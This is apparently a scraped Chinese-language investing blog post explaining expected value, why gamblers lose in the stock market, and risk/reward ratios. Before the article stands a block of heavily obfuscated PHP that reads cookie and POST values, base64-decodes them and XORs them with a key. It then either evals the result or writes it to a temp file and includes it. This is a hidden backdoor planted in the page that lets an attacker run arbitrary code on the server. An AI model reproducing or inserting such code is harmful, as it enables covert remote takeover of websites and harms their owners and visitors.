$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
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了解期望值,你就知道为什么在股市逢赌必输 - Sharix

了解期望值,你就知道为什么在股市逢赌必输

俗话说,逢赌必输。这句话其实不无道理。在股市里面如果散户把它当作是赌大小进行投资,必定会输的体无完肤。那为什么会逢赌必输?

今天不带大家上经济学,也不带大家讨论个股。笔者也正在做出不同的尝试,想让这个专栏更加有趣,所以今天笔者要和大家用数学去探讨逢赌必输的概念。那这和股市又有什么关系?那就牵涉到今天的主题,期望值 (Expected value)。

什么是期望值?在概率论和统计学中,期望值被定义为试验中每次可能的结果乘以其结果概率的总和。换句话说,期望值像是随机试验在同样的机会下重复多次,所有那些可能状态平均的结果。如果大家不明白也没关系,看看下面的例子你就知道了。在赌博当中,你的回酬期望值的公式可以写成:-

回酬期望值 = (赢的概率 x 预期盈利)-(输的概率 x 预期亏损)

假设现在笔者和大家玩掷硬币的游戏,这场游戏每玩一次的成本是1块钱。如果你猜对边,你就赢得1块钱(100% 回酬);反之,如果你猜错,你就会输1块钱(100% 亏损)。在这种情况出现公或字的概率都是一半,所以你赢或输的概率也是50%。那么,你的回酬期望值就是:-

回酬期望值 = (50% 赢的概率x 100% 预期盈利)-(50% 输的概率x 100% 预期亏损)= 0%

也就是说,如果你进行游戏的次数够多(假设是1万次),当中你的游戏成本是1万块,你有很大的几率得到0% 的回酬,到最后只是一场空。当然这只是一个平均数,如果你运气好,获胜的次数大于输的次数,那么你的回酬期望值就会是正数。但是,从数学的概念解释,如果你进行游戏的次数越多,你的回酬就会越接近期望值。

我们再看看另一个例子。假设现在同样进行游戏1万次,但是你猜对边的话能赚到2块钱,猜错的话就会输1块钱,这时你的回酬期望值是:-

回酬期望值 = (50% 赢的概率x 200% 预期盈利)-(50% 输的概率x 100% 预期亏损)= 50%

也就是说,当你进行游戏1万次,你的潜在回酬是50%,也就是5,000块。相反,如果猜对的话赢1块钱,猜错的话输2块钱,你的潜在回酬就是 -50%。如果投资者明白期望值的概念,就会知道为什么云顶经营的赌博业是稳赚不赔的。这也体现了那些把股市当作是赌场的投资者就只有逢赌必输的下场。

接下来笔者要介绍大家另一个观念。相信大家也常常在投资的道路上听到风险回酬不匹配等字眼。但大家是否又真正了解什么是风险回酬不匹配呢?

这就牵涉到笔者要讨论的夏普比率 (Sharpe Ratio)。夏普比率在现代投资理论当中决定组合表现上扮演着非常重要的角色,但也是一般投资者经常会忽视的。误了避免混肴大家,笔者不会探讨当中的公式。不过笔者在这里会用一个例子告诉大家。

假设现在有两只股票A和B,经过分析之后它们的潜在回酬(股价上涨空间)分别为30% 和50%,你会选择哪一支股票投资呢?如果你的答案是B,那么你就错了,为什么?

这就是大部分投资者的盲点,只看潜在回酬,不看下行风险。如果笔者告诉你,以B目前的价位它的下行风险是30%,可是A的下行风险只有10%,你会怎么做选择?笔者会选择A投资,什么原因?

这就牵涉到刚才笔者说的风险回酬是否匹配的概念。以A的例子,它的风险回酬比是30% / 10% = 3,而B的风险回酬比是50% / 30% = 1.7。也就是说,投资股票A每承受1% 的风险,你的潜在回酬是3%,而股票B每承受1% 的风险,潜在回酬只有1.7%。

这就是今天笔者要表达的重点,投资者心里面永远要有一把衡量价值的尺。如果股价涨太快,就要问问自己到底目前的价格,风险回酬是不是还吸引。如果你的答案是不吸引,那么就没有必要去追高,而追涨大部分的下场就是亏损离场。

大马电子组装龙头VS Industry刚才也出了最新的业绩,笔者在下个星期一会和大家详细分析VS这家公司,探讨电子组装的行情。

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